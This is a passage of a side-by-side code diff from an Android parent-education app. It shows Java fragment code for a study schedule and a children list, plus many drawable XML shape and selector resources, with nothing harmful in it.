163 | if (bundle.getInt(CodeUtils.RESULT_TYPE) == CodeUtils.RESULT_SUCCESS) { | 169 | if (bundle.getInt(CodeUtils.RESULT_TYPE) == CodeUtils.RESULT_SUCCESS) { |
164 | String result = bundle.getString(CodeUtils.RESULT_STRING); | 170 | String result = bundle.getString(CodeUtils.RESULT_STRING); |
165 | Toast.makeText(getActivity(), "解析结果:" + result, Toast.LENGTH_LONG).show(); | 171 | Toast.makeText(getActivity(), "解析结果:" + result, Toast.LENGTH_LONG).show(); |
166 | } else if (bundle.getInt(CodeUtils.RESULT_TYPE) == CodeUtils.RESULT_FAILED) { | 172 | } else if (bundle.getInt(CodeUtils.RESULT_TYPE) == CodeUtils.RESULT_FAILED) { |
167 | Toast.makeText(getActivity(), "解析二维码失败", Toast.LENGTH_LONG).show(); | 173 | Toast.makeText(getActivity(), "解析二维码失败", Toast.LENGTH_LONG).show(); |
168 | } | 174 | } |
169 | } | 175 | } |
170 | } | 176 | } |
171 | } | 177 | } |
172 | 178 | ||
173 | @OnClick({R.id.iv_2, R.id.tv_name}) | 179 | @OnClick({R.id.iv_2, R.id.tv_name}) |
174 | public void choose(View view) { | 180 | public void choose(View view) { |
175 | Intent intent = new Intent(getActivity(), ChooseActivity.class); | 181 | Intent intent = new Intent(getActivity(), ChooseActivity.class); |
176 | startActivity(intent); | 182 | startActivity(intent); |
177 | } | 183 | } |
178 | 184 | ||
179 | @OnClick(R.id.iv_1) | 185 | @OnClick(R.id.iv_1) |
180 | public void exit(View view) { | 186 | public void exit(View view) { |
181 | getActivity().finish(); | 187 | getActivity().finish(); |
182 | } | 188 | } |
183 | 189 | ||
184 | private void showWeekPlan(List<Video> list) { | 190 | private void showWeekPlan(List<Video> list) { |
185 | iv_empty.setVisibility(list.size() > 0 ? View.GONE : View.VISIBLE); | 191 | iv_empty.setVisibility(list.size() > 0 ? View.GONE : View.VISIBLE); |
186 | tv_empty.setVisibility(list.size() > 0 ? View.GONE : View.VISIBLE); | 192 | tv_empty.setVisibility(list.size() > 0 ? View.GONE : View.VISIBLE); |
187 | List<Schedule> schedules = new ArrayList<>(); | 193 | List<Schedule> schedules = new ArrayList<>(); |
188 | for (int i = 0; i < list.size(); i++) { | 194 | for (int i = 0; i < list.size(); i++) { |
189 | String date = new SimpleDateFormat("yyyy.MM.dd").format(list.get(i).getStudyTime()); | 195 | String date = new SimpleDateFormat("yyyy.MM.dd").format(list.get(i).getStudyTime()); |
190 | if (schedules.size() > 0 && schedules.get(schedules.size() - 1).getDate().equals(date)) { | 196 | if (schedules.size() > 0 && schedules.get(schedules.size() - 1).getDate().equals(date)) { |
191 | schedules.get(schedules.size() - 1).getStrings().add(list.get(i).getSectionChildName()); | 197 | schedules.get(schedules.size() - 1).getStrings().add(list.get(i).getSectionChildName()); |
192 | } else { | 198 | } else { |
193 | List<String> stringList = new ArrayList<>(); | 199 | List<String> stringList = new ArrayList<>(); |
194 | Schedule schedule = new Schedule(); | 200 | Schedule schedule = new Schedule(); |
195 | schedule.setDate(date); | 201 | schedule.setDate(date); |
196 | stringList.add(list.get(i).getSectionChildName()); | 202 | stringList.add(list.get(i).getSectionChildName()); |
197 | schedule.setStrings(stringList); | 203 | schedule.setStrings(stringList); |
198 | schedules.add(schedule); | 204 | schedules.add(schedule); |
199 | } | 205 | } |
200 | } | 206 | } |
201 | BaseQuickAdapter adapter = new BaseQuickAdapter(R.layout.item_schedule, schedules) { | 207 | BaseQuickAdapter adapter = new BaseQuickAdapter(R.layout.item_schedule, schedules) { |
202 | @Override | 208 | @Override |
203 | protected void convert(@NonNull BaseViewHolder item, Object o) { | 209 | protected void convert(@NonNull BaseViewHolder item, Object o) { |
204 | Schedule schedule = schedules.get(item.getAdapterPosition()); | 210 | Schedule schedule = schedules.get(item.getAdapterPosition()); |
205 | item.setText(R.id.tv_date, schedule.getDate()); | 211 | item.setText(R.id.tv_date, schedule.getDate()); |
206 | LinearLayout layout = item.getView(R.id.ll_schedule); | 212 | LinearLayout layout = item.getView(R.id.ll_schedule); |
207 | for (int i = 0; i < schedule.getStrings().size(); i++) { | 213 | for (int i = 0; i < schedule.getStrings().size(); i++) { |
208 | View view = LayoutInflater.from(getContext()).inflate(R.layout.item_video, null); | 214 | View view = LayoutInflater.from(getContext()).inflate(R.layout.item_video, null); |
209 | TextView textView = view.findViewById(R.id.tv_name); | 215 | TextView textView = view.findViewById(R.id.tv_name); |
210 | textView.setText(schedule.getStrings().get(i)); | 216 | textView.setText(schedule.getStrings().get(i)); |
211 | layout.addView(view); | 217 | layout.addView(view); |
212 | } | 218 | } |
213 | } | 219 | } |
214 | }; | 220 | }; |
215 | recyclerView.setLayoutManager(new LinearLayoutManager(getContext(), RecyclerView.VERTICAL, false)); | 221 | recyclerView.setLayoutManager(new LinearLayoutManager(getContext(), RecyclerView.VERTICAL, false)); |
216 | recyclerView.setAdapter(adapter); | 222 | recyclerView.setAdapter(adapter); |
217 | } | 223 | } |
218 | 224 | ||
219 | class Schedule { | 225 | class Schedule { |
220 | String date; | 226 | String date; |
221 | List<String> strings; | 227 | List<String> strings; |
222 | 228 | ||
223 | public void setDate(String date) { | 229 | public void setDate(String date) { |
224 | this.date = date; | 230 | this.date = date; |
225 | } | 231 | } |
226 | 232 | ||
227 | public void setStrings(List<String> strings) { | 233 | public void setStrings(List<String> strings) { |
228 | this.strings = strings; | 234 | this.strings = strings; |
229 | } | 235 | } |
230 | 236 | ||
231 | public String getDate() { | 237 | public String getDate() { |
232 | return date; | 238 | return date; |
233 | } | 239 | } |
234 | 240 | ||
235 | public List<String> getStrings() { | 241 | public List<String> getStrings() { |
236 | return strings; | 242 | return strings; |
237 | } | 243 | } |
238 | } | 244 | } |
239 | } | 245 | } |
240 | 246 |
app/src/main/java/com/hjx/parent/fragment/MeFragment.java
1 | package com.hjx.parent.fragment; | 1 | package com.hjx.parent.fragment; |
2 | 2 | ||
3 | import android.app.AlertDialog; | 3 | import android.app.AlertDialog; |
4 | import android.content.DialogInterface; | 4 | import android.content.DialogInterface; |
5 | import android.content.Intent; | 5 | import android.content.Intent; |
6 | import android.text.TextUtils; | 6 | import android.text.TextUtils; |
7 | import android.view.View; | 7 | import android.view.View; |
8 | import android.widget.ImageView; | 8 | import android.widget.ImageView; |
9 | import android.widget.TextView; | 9 | import android.widget.TextView; |
10 | import android.widget.Toast; | 10 | import android.widget.Toast; |
11 | 11 | ||
12 | import androidx.annotation.NonNull; | 12 | import androidx.annotation.NonNull; |
13 | import androidx.annotation.Nullable; | 13 | import androidx.annotation.Nullable; |
14 | import androidx.constraintlayout.widget.Group; | 14 | import androidx.constraintlayout.widget.Group; |
15 | import androidx.recyclerview.widget.LinearLayoutManager; | 15 | import androidx.recyclerview.widget.LinearLayoutManager; |
16 | import androidx.recyclerview.widget.RecyclerView; | 16 | import androidx.recyclerview.widget.RecyclerView; |
17 | 17 | ||
18 | import com.bumptech.glide.Glide; | 18 | import com.bumptech.glide.Glide; |
19 | import com.bumptech.glide.load.resource.bitmap.RoundedCorners; | 19 | import com.bumptech.glide.load.resource.bitmap.RoundedCorners; |
20 | import com.bumptech.glide.request.RequestOptions; | 20 | import com.bumptech.glide.request.RequestOptions; |
21 | import com.chad.library.adapter.base.BaseQuickAdapter; | 21 | import com.chad.library.adapter.base.BaseQuickAdapter; |
22 | import com.chad.library.adapter.base.BaseViewHolder; | 22 | import com.chad.library.adapter.base.BaseViewHolder; |
23 | import com.developer.wang.utils.PermissionUtils; | 23 | import com.developer.wang.utils.PermissionUtils; |
24 | import com.google.gson.Gson; | 24 | import com.google.gson.Gson; |
25 | import com.google.gson.JsonArray; | 25 | import com.google.gson.JsonArray; |
26 | import com.hjq.permissions.OnPermissionCallback; | 26 | import com.hjq.permissions.OnPermissionCallback; |
27 | import com.hjq.permissions.Permission; | 27 | import com.hjq.permissions.Permission; |
28 | import com.hjq.permissions.XXPermissions; | 28 | import com.hjq.permissions.XXPermissions; |
29 | import com.hjx.parent.AccountActivity; | 29 | import com.hjx.parent.AccountActivity; |
30 | import com.hjx.parent.AddStudentActivity; | 30 | import com.hjx.parent.AddStudentActivity; |
31 | import com.hjx.parent.EditStudentActivity; | 31 | import com.hjx.parent.EditStudentActivity; |
32 | import com.hjx.parent.LoginActivity; | 32 | import com.hjx.parent.LoginActivity; |
33 | import com.hjx.parent.MainActivity; | 33 | import com.hjx.parent.MainActivity; |
34 | import com.hjx.parent.QRActivity; | 34 | import com.hjx.parent.QRActivity; |
35 | import com.hjx.parent.R; | 35 | import com.hjx.parent.R; |
36 | import com.hjx.parent.UserActivity; | 36 | import com.hjx.parent.UserActivity; |
37 | import com.hjx.parent.YinsiActivity; | 37 | import com.hjx.parent.YinsiActivity; |
38 | import com.hjx.parent.bean.StudentBean; | 38 | import com.hjx.parent.bean.StudentBean; |
39 | import com.prws.common.base.BaseFragment; | 39 | import com.prws.common.base.BaseFragment; |
40 | import com.prws.common.net.NetWorks; | 40 | import com.prws.common.net.NetWorks; |
41 | import com.prws.common.utils.LogUtil; | 41 | import com.prws.common.utils.LogUtil; |
42 | import com.prws.common.utils.ScreenUtils; | 42 | import com.prws.common.utils.ScreenUtils; |
43 | import com.prws.common.utils.SharedPreferencesUtil; | 43 | import com.prws.common.utils.SharedPreferencesUtil; |
44 | 44 | ||
45 | import org.json.JSONArray; | 45 | import org.json.JSONArray; |
46 | import org.json.JSONObject; | 46 | import org.json.JSONObject; |
47 | 47 | ||
48 | import java.util.ArrayList; | 48 | import java.util.ArrayList; |
49 | import java.util.HashMap; | 49 | import java.util.HashMap; |
50 | import java.util.List; | 50 | import java.util.List; |
51 | import java.util.Map; | 51 | import java.util.Map; |
52 | 52 | ||
53 | import butterknife.BindView; | 53 | import butterknife.BindView; |
54 | import butterknife.OnClick; | 54 | import butterknife.OnClick; |
55 | import io.reactivex.Observer; | 55 | import io.reactivex.Observer; |
56 | import io.reactivex.disposables.Disposable; | 56 | import io.reactivex.disposables.Disposable; |
57 | import okhttp3.ResponseBody; | 57 | import okhttp3.ResponseBody; |
58 | 58 | ||
59 | public class MeFragment extends BaseFragment { | 59 | public class MeFragment extends BaseFragment { |
60 | @Override | 60 | @Override |
61 | protected int getLayoutRes() { | 61 | protected int getLayoutRes() { |
62 | return R.layout.fragment_me; | 62 | return R.layout.fragment_me; |
63 | } | 63 | } |
64 | 64 | ||
65 | Group group_1; | 65 | Group group_1; |
66 | TextView tv_name; | 66 | TextView tv_name; |
67 | TextView tv_phone; | 67 | TextView tv_phone; |
68 | ImageView iv_toux; | 68 | ImageView iv_toux; |
69 | RecyclerView recycle; | 69 | RecyclerView recycle; |
70 | 70 | ||
71 | @Override | 71 | @Override |
72 | protected void initDatas() { | 72 | protected void initDatas() { |
73 | super.initDatas(); | 73 | super.initDatas(); |
74 | recycle = mRootView.findViewById(R.id.recycle); | 74 | recycle = mRootView.findViewById(R.id.recycle); |
75 | group_1 = mRootView.findViewById(R.id.group_1); | 75 | group_1 = mRootView.findViewById(R.id.group_1); |
76 | String role = (String) SharedPreferencesUtil.getData("role", ""); | 76 | String role = (String) SharedPreferencesUtil.getData("role", ""); |
77 | String userId = (String) SharedPreferencesUtil.getData("userId", ""); | 77 | String userId = (String) SharedPreferencesUtil.getData("userId", ""); |
78 | String token = (String) SharedPreferencesUtil.getData("token", ""); | 78 | String token = (String) SharedPreferencesUtil.getData("token", ""); |
79 | String phone = (String) SharedPreferencesUtil.getData("phone", ""); | 79 | String phone = (String) SharedPreferencesUtil.getData("phone", ""); |
80 | group_1.setVisibility(View.VISIBLE); | 80 | group_1.setVisibility(View.VISIBLE); |
81 | iv_toux = mRootView.findViewById(R.id.iv_toux); | 81 | iv_toux = mRootView.findViewById(R.id.iv_toux); |
82 | tv_name = mRootView.findViewById(R.id.tv_name); | 82 | tv_name = mRootView.findViewById(R.id.tv_name); |
83 | tv_phone = mRootView.findViewById(R.id.tv_phone); | 83 | tv_phone = mRootView.findViewById(R.id.tv_phone); |
84 | tv_phone.setVisibility(View.GONE); | 84 | tv_phone.setVisibility(View.GONE); |
85 | // tv_phone.setText(phone); | 85 | // tv_phone.setText(phone); |
86 | tv_name.setText(phone); | 86 | tv_name.setText(phone); |
87 | } | 87 | } |
88 | 88 | ||
89 | @Override | 89 | @Override |
90 | public void onResume() { | 90 | public void onResume() { |
91 | super.onResume(); | 91 | super.onResume(); |
92 | String photo = (String) SharedPreferencesUtil.getData("photo", ""); | 92 | String photo = (String) SharedPreferencesUtil.getData("photo", ""); |
93 | if (!TextUtils.isEmpty(photo)) { | 93 | if (!TextUtils.isEmpty(photo)) { |
94 | RoundedCorners roundedCorners = new RoundedCorners(ScreenUtils.dpToPx(getContext(), 45)); | 94 | RoundedCorners roundedCorners = new RoundedCorners(ScreenUtils.dpToPx(getContext(), 45)); |
95 | RequestOptions options = RequestOptions.bitmapTransform(roundedCorners); | 95 | RequestOptions options = RequestOptions.bitmapTransform(roundedCorners); |
96 | Glide.with(getContext()).load(photo).apply(options).into(iv_toux); | 96 | Glide.with(getContext()).load(photo).apply(options).into(iv_toux); |
97 | } | 97 | } |
98 | loadChildList(); | 98 | loadChildList(); |
99 | } | 99 | } |
100 | 100 | ||
101 | ArrayList<StudentBean> alist = new ArrayList<>(); | 101 | ArrayList<StudentBean> alist = new ArrayList<>(); |
102 | 102 | ||
103 | public void loadChildList() { | 103 | public void loadChildList() { |
104 | NetWorks.listChildren(new Observer<ResponseBody>() { | 104 | NetWorks.listChildren(new Observer<ResponseBody>() { |
105 | @Override | 105 | @Override |
106 | public void onSubscribe(Disposable d) { | 106 | public void onSubscribe(Disposable d) { |
107 | 107 | ||
108 | } | 108 | } |
109 | 109 | ||
110 | @Override | 110 | @Override |
111 | public void onNext(ResponseBody responseBody) { | 111 | public void onNext(ResponseBody responseBody) { |
112 | try { | 112 | try { |
113 | 113 | ||
114 | String str = responseBody.string().toString(); | 114 | String str = responseBody.string().toString(); |
115 | 115 | ||
116 | 116 | ||
117 | LogUtil.e("TAG", "----" + str); | 117 | LogUtil.e("TAG", "----" + str); |
118 | JSONObject jo = new JSONObject(str); | 118 | JSONObject jo = new JSONObject(str); |
119 | boolean isSucceed = jo.getBoolean("success"); | 119 | boolean isSucceed = jo.getBoolean("success"); |
120 | if (isSucceed) { | 120 | if (isSucceed) { |
121 | JSONArray jarr = jo.getJSONArray("data"); | 121 | JSONArray jarr = jo.getJSONArray("data"); |
122 | alist.clear(); | 122 | alist.clear(); |
123 | for (int i = 0; i < jarr.length(); i++) { | 123 | for (int i = 0; i < jarr.length(); i++) { |
124 | JSONObject jo2 = jarr.getJSONObject(i); | 124 | JSONObject jo2 = jarr.getJSONObject(i); |
125 | Gson gson = new Gson(); | 125 | Gson gson = new Gson(); |
126 | StudentBean sb = gson.fromJson(jo2.toString(), StudentBean.class); | 126 | StudentBean sb = gson.fromJson(jo2.toString(), StudentBean.class); |
127 | alist.add(sb); | 127 | alist.add(sb); |
128 | } | 128 | } |
129 | if (alist.size() > 0) { | 129 | if (alist.size() > 0) { |
130 | loadList(); | 130 | loadList(); |
131 | } | 131 | } |
132 | 132 | ||
133 | } else { | 133 | } else { |
134 | 134 | ||
135 | } | 135 | } |
136 | } catch (Exception e) { | 136 | } catch (Exception e) { |
137 | e.printStackTrace(); | 137 | e.printStackTrace(); |
138 | } | 138 | } |
139 | } | 139 | } |
140 | 140 | ||
141 | @Override | 141 | @Override |
142 | public void onError(Throwable e) { | 142 | public void onError(Throwable e) { |
143 | e.toString(); | 143 | e.toString(); |
144 | } | 144 | } |
145 | 145 | ||
146 | @Override | 146 | @Override |
147 | public void onComplete() { | 147 | public void onComplete() { |
148 | 148 | ||
149 | } | 149 | } |
150 | }); | 150 | }); |
151 | mRootView.findViewById(R.id.view_4).setOnClickListener(view -> startActivity(new Intent(getActivity(), YinsiActivity.class))); | 151 | mRootView.findViewById(R.id.view_4).setOnClickListener(view -> startActivity(new Intent(getActivity(), YinsiActivity.class))); |
152 | mRootView.findViewById(R.id.view_5).setOnClickListener(view -> startActivity(new Intent(getActivity(), UserActivity.class))); | 152 | mRootView.findViewById(R.id.view_5).setOnClickListener(view -> startActivity(new Intent(getActivity(), UserActivity.class))); |
153 | mRootView.findViewById(R.id.view_3).setOnClickListener(view -> startActivityForResult(new Intent(getActivity(), AccountActivity.class), 1003)); | 153 | mRootView.findViewById(R.id.view_3).setOnClickListener(view -> startActivityForResult(new Intent(getActivity(), AccountActivity.class), 1003)); |
154 | } | 154 | } |
155 | 155 | ||
156 | // @Override | 156 | // @Override |
157 | // public void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) { | 157 | // public void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) { |
158 | // super.onActivityResult(requestCode, resultCode, data); | 158 | // super.onActivityResult(requestCode, resultCode, data); |
159 | // Intent intent = new Intent(getActivity(), LoginActivity.class); | 159 | // Intent intent = new Intent(getActivity(), LoginActivity.class); |
160 | // startActivity(intent); | 160 | // startActivity(intent); |
161 | // getActivity().finish(); | 161 | // getActivity().finish(); |
162 | // } | 162 | // } |
163 | 163 | ||
164 | public void loadList() { | 164 | public void loadList() { |
165 | StudentBean sb = new StudentBean(); | 165 | StudentBean sb = new StudentBean(); |
166 | sb.setNickName("添加学生"); | 166 | sb.setNickName("添加学生"); |
167 | alist.add(0, sb); | 167 | alist.add(0, sb); |
168 | BaseQuickAdapter adapter = new BaseQuickAdapter(R.layout.item_child, alist) { | 168 | BaseQuickAdapter adapter = new BaseQuickAdapter(R.layout.item_child, alist) { |
169 | @Override | 169 | @Override |
170 | public void onBindViewHolder(@NonNull RecyclerView.ViewHolder holder, int position) { | ||
171 | |||
172 | } | ||
173 | |||
174 | @Override | ||
170 | protected void convert(@NonNull BaseViewHolder item, Object o) { | 175 | protected void convert(@NonNull BaseViewHolder item, Object o) { |
171 | StudentBean studentBean = alist.get(item.getAdapterPosition()); | 176 | StudentBean studentBean = alist.get(item.getAdapterPosition()); |
172 | item.setText(R.id.tv_name, studentBean.getNickName()); | 177 | item.setText(R.id.tv_name, studentBean.getNickName()); |
173 | if (TextUtils.isEmpty(studentBean.getStuId())) { | 178 | if (TextUtils.isEmpty(studentBean.getStuId())) { |
174 | item.setImageResource(R.id.iv_avatar, R.mipmap.tjxss); | 179 | item.setImageResource(R.id.iv_avatar, R.mipmap.tjxss); |
175 | item.setVisible(R.id.iv_vip, false); | 180 | item.setVisible(R.id.iv_vip, false); |
176 | item.getConvertView().setOnClickListener(new View.OnClickListener() { | 181 | item.getConvertView().setOnClickListener(new View.OnClickListener() { |
177 | @Override | 182 | @Override |
178 | public void onClick(View view) { | 183 | public void onClick(View view) { |
179 | startActivity(new Intent(getActivity(), AddStudentActivity.class)); | 184 | startActivity(new Intent(getActivity(), AddStudentActivity.class)); |
180 | } | 185 | } |
181 | }); | 186 | }); |
182 | } else { | 187 | } else { |
183 | if (TextUtils.isEmpty(studentBean.getPhoto())) { | 188 | if (TextUtils.isEmpty(studentBean.getPhoto())) { |
184 | item.setImageResource(R.id.iv_avatar, studentBean.getGender() == 0 ? R.mipmap.ic_avatar_male : R.mipmap.ic_avatar_female); | 189 | item.setImageResource(R.id.iv_avatar, studentBean.getGender() == 0 ? R.mipmap.ic_avatar_male : R.mipmap.ic_avatar_female); |
185 | } else { | 190 | } else { |
186 | RoundedCorners roundedCorners = new RoundedCorners(ScreenUtils.dpToPx(getContext(), 45)); | 191 | RoundedCorners roundedCorners = new RoundedCorners(ScreenUtils.dpToPx(getContext(), 45)); |
187 | RequestOptions options = RequestOptions.bitmapTransform(roundedCorners); | 192 | RequestOptions options = RequestOptions.bitmapTransform(roundedCorners); |
188 | Glide.with(getActivity()).load(studentBean.getPhoto()).apply(options).into((ImageView) item.getView(R.id.iv_avatar)); | 193 | Glide.with(getActivity()).load(studentBean.getPhoto()).apply(options).into((ImageView) item.getView(R.id.iv_avatar)); |
189 | } | 194 | } |
190 | item.setVisible(R.id.iv_vip, !"虚拟".equals(studentBean.getTeacherIdentity())); | 195 | item.setVisible(R.id.iv_vip, !"虚拟".equals(studentBean.getTeacherIdentity())); |
191 | item.getConvertView().setOnClickListener(new View.OnClickListener() { | 196 | item.getConvertView().setOnClickListener(new View.OnClickListener() { |
192 | @Override | 197 | @Override |
193 | public void onClick(View view) { | 198 | public void onClick(View view) { |
194 | startActivity(new Intent(getActivity(), EditStudentActivity.class).putExtra("student", new Gson().toJson(studentBean))); | 199 | startActivity(new Intent(getActivity(), EditStudentActivity.class).putExtra("student", new Gson().toJson(studentBean))); |
195 | } | 200 | } |
196 | }); | 201 | }); |
197 | } | 202 | } |
198 | } | 203 | } |
199 | }; | 204 | }; |
200 | recycle.setLayoutManager(new LinearLayoutManager(getContext(), LinearLayoutManager.HORIZONTAL, false)); | 205 | recycle.setLayoutManager(new LinearLayoutManager(getContext(), LinearLayoutManager.HORIZONTAL, false)); |
201 | recycle.setAdapter(adapter); | 206 | recycle.setAdapter(adapter); |
202 | } | 207 | } |
203 | 208 | ||
204 | } | 209 | } |
205 | 210 |
app/src/main/res/drawable/bg_cut_select.xml
File was created | 1 | <shape xmlns:android="http://schemas.android.com/apk/res/android" | |
2 | android:shape="rectangle"> | ||
3 | <solid android:color="#331C90F3" /> | ||
4 | <stroke | ||
5 | android:width="1dp" | ||
6 | android:color="#1C90F3" /> | ||
7 | </shape> |
app/src/main/res/drawable/bg_cut_unselect.xml
File was created | 1 | <shape xmlns:android="http://schemas.android.com/apk/res/android" | |
2 | android:shape="rectangle"> | ||
3 | <solid android:color="#33000000" /> | ||
4 | <stroke | ||
5 | android:width="1dp" | ||
6 | android:color="#999999" /> | ||
7 | </shape> |
app/src/main/res/drawable/bg_done_text.xml
File was created | 1 | <shape xmlns:android="http://schemas.android.com/apk/res/android" | |
2 | android:shape="rectangle"> | ||
3 | <solid android:color="@color/error_blue" /> | ||
4 | <corners android:radius="5dp" /> | ||
5 | </shape> |
app/src/main/res/drawable/bg_item_video_10.xml
1 | <?xml version="1.0" encoding="utf-8"?> | 1 | <?xml version="1.0" encoding="utf-8"?> |
2 | <shape xmlns:android="http://schemas.android.com/apk/res/android" | 2 | <shape xmlns:android="http://schemas.android.com/apk/res/android" |
3 | android:shape="rectangle"> | 3 | android:shape="rectangle"> |
4 | 4 | ||
5 | <solid android:color="#FFF9F6" /> | 5 | <solid android:color="#FFFFFF" /> |
6 | 6 | ||
7 | <corners | 7 | <corners android:radius="10dp" /> |
8 | android:radius="10dp" | ||
9 | /> | ||
10 | 8 | ||
11 | </shape> | 9 | </shape> |
app/src/main/res/drawable/bg_soild_blue_25.xml
File was created | 1 | <?xml version="1.0" encoding="utf-8"?> | |
2 | <shape xmlns:android="http://schemas.android.com/apk/res/android" | ||
3 | android:shape="rectangle"> | ||
4 | |||
5 | <solid android:color="#1C90F3" /> | ||
6 | |||
7 | <corners android:radius="25dp" /> | ||
8 | |||
9 | </shape> |
app/src/main/res/drawable/bg_soild_blue_5.xml
File was created | 1 | <?xml version="1.0" encoding="utf-8"?> | |
2 | <shape xmlns:android="http://schemas.android.com/apk/res/android" | ||
3 | android:shape="rectangle"> | ||
4 | |||
5 | <solid android:color="#1C90F3" /> | ||
6 | |||
7 | <corners android:radius="5dp" /> | ||
8 | |||
9 | </shape> |
app/src/main/res/drawable/bg_soild_blue_border_25.xml
File was created | 1 | <?xml version="1.0" encoding="utf-8"?> | |
2 | <shape xmlns:android="http://schemas.android.com/apk/res/android" | ||
3 | android:shape="rectangle"> | ||
4 | |||
5 | <solid android:color="@color/white" /> | ||
6 | |||
7 | <corners android:radius="25dp" /> | ||
8 | <stroke | ||
9 | android:width="1dp" | ||
10 | android:color="#1C90F3" /> | ||
11 | </shape> |
app/src/main/res/drawable/bg_soild_blue_light_5.xml
File was created | 1 | <?xml version="1.0" encoding="utf-8"?> | |
2 | <shape xmlns:android="http://schemas.android.com/apk/res/android" | ||
3 | android:shape="rectangle"> | ||
4 | |||
5 | <solid android:color="#8DC7F9" /> | ||
6 | |||
7 | <corners android:radius="5dp" /> | ||
8 | |||
9 | </shape> |
app/src/main/res/drawable/bg_soild_gray_5.xml
File was created | 1 | <?xml version="1.0" encoding="utf-8"?> | |
2 | <shape xmlns:android="http://schemas.android.com/apk/res/android" | ||
3 | android:shape="rectangle"> | ||
4 | |||
5 | <solid android:color="#F5F5F5" /> | ||
6 | |||
7 | <corners android:radius="5dp" /> | ||
8 | |||
9 | </shape> |
app/src/main/res/drawable/bg_soild_orange_5.xml
File was created | 1 | <?xml version="1.0" encoding="utf-8"?> | |
2 | <shape xmlns:android="http://schemas.android.com/apk/res/android" | ||
3 | android:shape="rectangle"> | ||
4 | |||
5 | <solid android:color="#FF8610" /> | ||
6 | |||
7 | <corners android:radius="5dp" /> | ||
8 | |||
9 | </shape> |
app/src/main/res/drawable/bg_solid_white.xml
1 | <?xml version="1.0" encoding="utf-8"?> | 1 | <?xml version="1.0" encoding="utf-8"?> |
2 | <shape xmlns:android="http://schemas.android.com/apk/res/android" | 2 | <shape xmlns:android="http://schemas.android.com/apk/res/android" |
3 | android:shape="rectangle"> | 3 | android:shape="rectangle"> |
4 | 4 | ||
5 | <solid android:color="#F7F8FA" /> | 5 | <solid android:color="#FFFFFF" /> |
6 | 6 | ||
7 | <corners | 7 | <corners android:radius="25dp" /> |
8 | android:radius="25dp" | ||
9 | /> | ||
10 | 8 | ||
11 | </shape> | 9 | </shape> |
app/src/main/res/drawable/bg_solid_white_10.xml
1 | <?xml version="1.0" encoding="utf-8"?> | 1 | <?xml version="1.0" encoding="utf-8"?> |
2 | <shape xmlns:android="http://schemas.android.com/apk/res/android" | 2 | <shape xmlns:android="http://schemas.android.com/apk/res/android" |
3 | android:shape="rectangle"> | 3 | android:shape="rectangle"> |
4 | 4 | ||
5 | <solid android:color="#FFFFFF" /> | 5 | <solid android:color="#FFFFFF" /> |
6 | 6 | ||
7 | <corners | 7 | <corners android:radius="10dp" /> |
8 | android:radius="10dp" | ||
9 | /> | ||
10 | 8 | ||
11 | </shape> | 9 | </shape> |
app/src/main/res/drawable/bg_solid_white_10_top.xml
1 | <?xml version="1.0" encoding="utf-8"?> | 1 | <?xml version="1.0" encoding="utf-8"?> |
2 | <shape xmlns:android="http://schemas.android.com/apk/res/android" | 2 | <shape xmlns:android="http://schemas.android.com/apk/res/android" |
3 | android:shape="rectangle"> | 3 | android:shape="rectangle"> |
4 | 4 | ||
5 | <solid android:color="#FFFFFF" /> | 5 | <solid android:color="#FFFFFF" /> |
6 | 6 | ||
7 | <corners | 7 | <corners |
8 | android:topRightRadius="10dp" | ||
9 | android:topLeftRadius="10dp" | 8 | android:topLeftRadius="10dp" |
10 | /> | 9 | android:topRightRadius="10dp" /> |
11 | 10 | ||
12 | </shape> | 11 | </shape> |
app/src/main/res/drawable/bg_solid_white_20.xml
1 | <?xml version="1.0" encoding="utf-8"?> | 1 | <?xml version="1.0" encoding="utf-8"?> |
2 | <shape xmlns:android="http://schemas.android.com/apk/res/android" | 2 | <shape xmlns:android="http://schemas.android.com/apk/res/android" |
3 | android:shape="rectangle"> | 3 | android:shape="rectangle"> |
4 | 4 | ||
5 | <solid android:color="#FFFFFF" /> | 5 | <solid android:color="#FFFFFF" /> |
6 | 6 | ||
7 | <corners | 7 | <corners |
8 | android:topLeftRadius="20dp" | 8 | android:topLeftRadius="20dp" |
9 | android:topRightRadius="20dp" | 9 | android:topRightRadius="20dp" /> |
10 | /> | ||
11 | 10 | ||
12 | </shape> | 11 | </shape> |
app/src/main/res/drawable/bg_undo_text.xml
File was created | 1 | <shape xmlns:android="http://schemas.android.com/apk/res/android" | |
2 | android:shape="rectangle"> | ||
3 | <solid android:color="@color/undo_red" /> | ||
4 | <corners android:radius="5dp" /> | ||
5 | </shape> |
app/src/main/res/drawable/button_select_topic_bg.xml
File was created | 1 | <shape xmlns:android="http://schemas.android.com/apk/res/android" | |
2 | android:shape="rectangle"> | ||
3 | <stroke | ||
4 | android:width="1dp" | ||
5 | android:color="#1C90F3" /> | ||
6 | <solid android:color="@color/white" /> | ||
7 | <corners android:radius="5dp" /> | ||
8 | </shape> |
app/src/main/res/drawable/button_topic_bg.xml
File was created | 1 | <shape xmlns:android="http://schemas.android.com/apk/res/android" | |
2 | android:shape="rectangle"> | ||
3 | <stroke | ||
4 | android:width="1dp" | ||
5 | android:color="#CCCCCC" /> | ||
6 | <solid android:color="@color/white" /> | ||
7 | <corners android:radius="5dp" /> | ||
8 | </shape> |
app/src/main/res/drawable/checkbox_check.png
632 Bytes
app/src/main/res/drawable/checkbox_checked.png
825 Bytes
app/src/main/res/drawable/checkbox_selector.xml
File was created | 1 | <?xml version="1.0" encoding="UTF-8"?> | |
2 | <selector xmlns:android="http://schemas.android.com/apk/res/android"> | ||
3 | <item android:drawable="@drawable/checkbox_checked" android:state_checked="true" /> | ||
4 | <item android:drawable="@drawable/checkbox_check" android:state_checked="false" /> | ||
5 | </selector> |
app/src/main/res/drawable/filter_button_selector.xml
File was created | 1 | <selector xmlns:android="http://schemas.android.com/apk/res/android"> | |
2 | <item android:drawable="@drawable/bg_soild_blue_25" android:state_checked="true" /> | ||
3 | <item android:drawable="@drawable/bg_solid_btn_grad" android:state_checked="false" /> | ||
4 | </selector> |
app/src/main/res/drawable/ic_filter_blue.png
161 Bytes
app/src/main/res/drawable/ic_filter_gray.png
153 Bytes
app/src/main/res/drawable/ic_pack_down.png
278 Bytes
app/src/main/res/drawable/ic_pack_up.png
308 Bytes
app/src/main/res/drawable/ic_select.png
619 Bytes
app/src/main/res/drawable/ic_unselect.png
458 Bytes
app/src/main/res/drawable/radio_button_selector.xml
File was created | 1 | <selector xmlns:android="http://schemas.android.com/apk/res/android"> | |
